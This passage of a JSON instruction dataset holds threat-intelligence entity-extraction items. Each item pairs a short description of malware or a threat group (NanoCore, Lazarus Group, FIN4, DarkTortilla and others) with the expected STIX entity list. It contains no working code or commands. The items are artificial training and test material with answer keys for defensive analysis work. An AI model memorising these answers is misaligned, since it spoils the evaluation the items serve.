etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNanoCore is a modular remote access tool developed in .NET that can be used to spy on victims and steal information. It has been used by threat actors since 2013.\n",
    "output": "<entities>NanoCore|.NET</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nC0032 was an extended campaign suspected to involve the Triton adversaries with related capabilities and techniques focused on gaining a foothold within IT environments. This campaign occurred in 2019 and was distinctly different from the Triton Safety Instrumented System Attack.\n",
    "output": "<entities>C0032|Triton|Triton Safety Instrumented System Attack</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMCMD can use scheduled tasks for persistence.\n",
    "output": "<entities>MCMD</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWiarp creates a backdoor through which remote attackers can create a service.\n",
    "output": "<entities>Wiarp</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBonadan can XOR-encrypt C2 communications.\n",
    "output": "<entities>Bonadan|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nThe Komplex payload is stored in a hidden directory at /Users/Shared/.local/kextd.\n",
    "output": "<entities>/Users/Shared/.local/kextd|Komplex</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nLazarus Group is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.\n",
    "output": "<entities>Lazarus Group|Reconnaissance General Bureau|North Korean</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nShimRatReporter encrypted gathered information with a combination of shifting and XOR using a static key.\n",
    "output": "<entities>ShimRatReporter</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDownPaper uses PowerShell for execution.\n",
    "output": "<entities>DownPaper|PowerShell</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nStealth Mango is Android malware that has reportedly been used to successfully compromise the mobile devices of government officials, members of the military, medical professionals, and civilians. The iOS malware known as Tangelo is believed to be from the same developer.\n",
    "output": "<entities>Stealth Mango|Tangelo|Android|iOS</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nEventBot is an Android banking trojan and information stealer that abuses Android\u2019s accessibility service to steal data from various applications.\n",
    "output": "<entities>EventBot|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDarkTortilla is a highly configurable .NET-based crypter that has been possibly active since at least August 2015. DarkTortilla has been used to deliver popular information stealers, RATs, and payloads such as Agent Tesla, AsyncRat, NanoCore, RedLine, Cobalt Strike, and Metasploit.\n",
    "output": "<entities>DarkTortilla|AsyncRat|NanoCore|RedLine|Cobalt Strike|Metasploit|Agent Tesla|.NET</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFIN4 has created rules in victims' Microsoft Outlook accounts to automatically delete emails containing words such as \u201chacked,\" \"phish,\" and \u201cmalware\" in a likely attempt to prevent organizations from communicating about their activities.\n",
    "output": "<entities>FIN4|Microsoft Outlook</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\n* TA2722 typically targets Shipping/Logistics, Manufacturing, Business Services, Pharmaceutical, and Energy entities, among others. Geographic targeting includes North America , Europe, and Southeast Asia. * TA2722 distributes Remcos and NanoCore remote access trojans (RATs).\n",
    "output": "<entities>TA2722|Remcos|North America|Europe|Southeast Asia|NanoCore</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFelismus is a modular backdoor that has been used by Sowbug. \n",
    "output": "<entities>Felismus|Sowbug</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDealersChoice leverages vulnerable versions of Flash to perform execution.\n",
    "output": "<entities>DealersChoice|Flash</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPcShare is an open source remote access tool that has been modified and used by Chinese threat actors, most notably during the FunnyDream campaign since late 2018.\n",
    "output": "<entities>PcShare|FunnyDream|Chinese</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTINYTYPHON searches through the drive containing the OS, then all drive letters C through to Z, for documents matching certain extensions.\n",
    "output": "<entities>TINYTYPHON</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: 